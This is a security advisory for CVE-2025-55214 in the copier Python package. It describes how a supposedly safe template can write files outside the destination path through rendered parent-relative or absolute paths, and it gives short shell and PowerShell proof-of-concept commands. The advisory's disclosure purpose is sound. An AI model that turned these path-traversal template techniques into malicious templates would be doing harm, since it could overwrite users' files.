CVE-2025-55214 – copier

Package

Manager: pip
Name: copier
Vulnerable Version: >=7.1.0 <9.9.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C

CVSS v4.0: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00026 pctl0.05636

Details

Copier's safe template has filesystem write access outside destination path ### Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin `pathjoin` Jinja filter and its builtin `_copier_conf.sep` variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. #### Write access via generated relative path Reproducible example: ```shell echo "foo" > forbidden.txt mkdir src/ echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}" uvx copier copy src/ dst/ cat forbidden.txt ``` #### Write access via generated absolute path Reproducible example: - POSIX: ```shell # Assumption: The current working directory is `/tmp/test-copier-vulnerability/` echo "foo" > forbidden.txt mkdir src/ echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}" uvx --from copier python -O -m copier copy --overwrite src/ dst/ cat forbidden.txt ``` - Windows (PowerShell): ```powershell # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability` echo "foo" > forbidden.txt mkdir src Set-Content -Path src\copier.yml @' drive: type: str default: "C:" when: false '@ echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}" uvx --from copier python -O -m copier copy --overwrite src dst cat forbidden.txt ``` This scenario is slightly less severe, as Copier has a few [assertions of the destination path being relative](https://github.com/copier-org/copier/blob/d106ea543fd26e1ac1b9a3dcef3e99cc70fdf57c/copier/_main.py#L747) which would typically be raised. But `python -O` (or `PYTHONOPTIMIZE=x`) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the `--overwrite` flag for non-interactive mode; yet malicious file writes might go unnoticed.

Metadata

Created: 2025-08-18T21:01:07Z
Modified: 2025-08-18T21:01:07Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-p7q8-grrj-3m8w/GHSA-p7q8-grrj-3m8w.json
CWE IDs: ["CWE-22"]
Alternative ID: GHSA-p7q8-grrj-3m8w
Finding: F063
Auto approve: 1